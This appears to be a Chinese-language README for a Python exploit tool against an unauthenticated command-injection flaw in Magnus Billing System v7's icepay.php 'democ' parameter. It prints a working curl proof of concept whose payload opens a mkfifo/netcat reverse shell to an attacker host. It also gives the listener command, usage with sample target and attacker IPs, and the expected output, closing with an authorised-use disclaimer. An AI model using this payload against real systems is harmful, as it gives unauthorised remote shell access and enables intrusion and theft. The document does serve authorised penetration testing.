该 Python 脚本可自动化利用 Magnus Billing System v7 中的命令注入漏洞,该漏洞位于 /mbilling/lib/icepay/icepay.php 脚本的 icepay.php 中。利用程序通过 democ 参数在目标系统上执行任意命令,最终在攻击者控制的机器上建立反向 shell。
该漏洞允许未认证的攻击者通过精心构造的 GET 请求进行命令注入。原始概念验证(PoC)使用了以下 curl 命令:
curl -s 'http://<TARGET_IP>/mbilling/lib/icepay/icepay.php' --get --data-urlencode 'democ=;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <ATTACKER_IP> <PORT> >/tmp/f;'
该脚本自动化了这一过程,并可通过命令行参数进行配置。
requests 库发送带有有效载荷的 HTTP 请求requests Python 模块:
pip install requests
netcat (nc) 才能使反向 shell 正常工作netcat 监听器以接收反向 shellicepay.php 脚本exploit.pynetcat 监听器:
nc -lvnp <PORT>
<PORT> 替换为你选择的端口(例如 443)python exploit.py -t <TARGET_IP> -a <ATTACKER_IP> -p <PORT>
参数:
-t, --target:目标 Magnus Billing System 的 IP 地址-a, --attacker:接收反向 shell 的你的 IP 地址-p, --port:用于反向 shell 的你的机器端口python exploit.py -t 10.10.160.86 -a 10.8.64.79 -p 443
预期输出:
=== Magnus Billing System v7 Exploit ===
Command Injection via icepay.php - Reverse Shell
=======================================
[+] Targeting: http://10.10.160.86/mbilling/lib/icepay/icepay.php
[+] Attacker: 10.8.64.79:443
[+] Sending payload: ;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.8.64.79 443 >/tmp/f;
[+] Request sent successfully!
[*] Check your netcat listener (e.g., 'nc -lvnp 443') for a shell.
netcat 监听器,如果成功即可与反向 shell 交互mkfifo 反向 shell 和 netcatexploit() 函数中取消注释 print(response.text)netcat此工具仅供 教育和安全测试目的 使用。请仅在你拥有明确测试权限的系统上使用。未经授权对你不拥有或未经同意测试的系统使用是非法且不道德的。作者不对任何滥用或由此脚本造成的损害负责。
本项目基于 MIT 许可证发布。欢迎根据需要修改和分发,但请保留免责声明。
欢迎贡献、提交错误报告和功能请求。请随时提交拉取请求或开启问题。